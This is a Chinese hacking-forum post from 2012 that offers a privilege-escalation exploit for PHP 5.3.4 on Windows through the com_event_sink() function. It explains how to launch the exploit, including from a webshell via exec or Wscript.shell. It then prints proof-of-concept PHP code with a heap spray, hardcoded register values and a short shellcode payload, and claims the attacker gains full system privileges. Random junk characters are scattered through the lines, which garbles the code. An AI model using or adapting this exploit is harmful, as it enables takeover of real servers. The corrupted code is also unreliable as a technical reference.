找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2396|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中  i" {$ F4 B+ @5 p3 L/ ?

" J; Z9 d4 n5 S+ i* s测试方法如下:cmd /c x:\php\php.exe x:\test.php
+ }( P/ w5 i% M3 t
( s$ `( v8 i$ N: ?8 {# f6 f下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
2 K' E; k# k0 u1 w; |' G/ u这里是两个测试的截图:" G+ y  G& C- a

) l( b$ t2 Q) G, P
4 v) v0 H0 O8 t; B2 U  Q& c, I
6 O5 w" \6 Y) R! `& @, w- j
; i( k; E: ~  m
7 x7 E) G0 i! R4 B4 T. ]# ~成功利用此漏洞的攻击者将获得系统的最高权限& S2 k" l% N4 e5 }$ `/ E

; O4 Y9 z+ x9 a& W2 m9 S5 l! q
* W# j1 W/ ]9 H- |6 D. F/ P1 L; J$ L0 u* q& q. e% q
& D3 t' a9 w* l! \  k3 C5 b' D
/ O' r8 M0 G0 ?. ]" q) G
关于漏洞分析稍后附上。一下是PoC代码:6 p* b  v$ _) m: ]5 \+ W! w

: I0 s0 P  F3 c5 t4 ~7 |<?php9 G  B# s1 H3 l( L8 {
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
: z( c) _' m4 X' w, y$ D+ v//$eip ="\x44\x43\x42\x41";: B' P! z1 d7 _$ H0 N8 i! G1 g
$eip= "\x4b\xe8\x57\x78";
6 n: Z3 _5 n; z$ G. J$eax ="\x80\x01\x8d\x04";! O0 J; _0 Z; F  d; D% m5 s
$deodrant="";
/ G) y- B; T& h7 P$axespray = str_repeat($eip.$eax,0x80);( q; C* C* x) U7 D5 K: [: J- ?
//048d0190
, @  L$ V# q8 O5 necho strlen($axespray);6 W1 h2 W# `; j2 A! @, y9 L
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";1 T2 t0 p) a5 H' o, j; G4 S
echo "Silic Group Hacker Army - BlackBap.Org";1 f0 ~2 I9 q  m3 ~8 R
//19200 ==4B32 4b00
& @- b% ^  H% Q/ ofor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
9 J9 q& c/ Y6 j/ r$terminate = "T";7 m1 f) A8 y3 J
$u[] =$deodrant;
9 m; R2 U+ Q6 L: l+ r$r[] =$deodrant.$terminate;0 Z3 A, W$ y( x% [/ A+ C) V
$a[] =$deodrant.$terminate;
7 P4 e) ]: I* [+ L( \$s[] =$deodrant.$terminate;! i7 Z. V2 H+ j5 K5 f: \" E5 z1 @* b
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
! \/ ?/ N3 p7 b0 p/ h$vVar = new VARIANT(0x048d0000+180);
% b$ W0 K( H6 p& @1 s( o//弹窗代码(Shellcode)2 @$ {* E1 A, P7 J! M, z
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";" b  f  {3 y7 t
$var2 = new VARIANT(0x41414242);, }+ Y% L( ?/ a. ?
com_event_sink($vVar,$var2,$buffer);& `- G+ Y7 k# ^, c9 o/ O3 ?
?>* f) G+ z9 n* d+ _. ~8 x* Y0 I

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表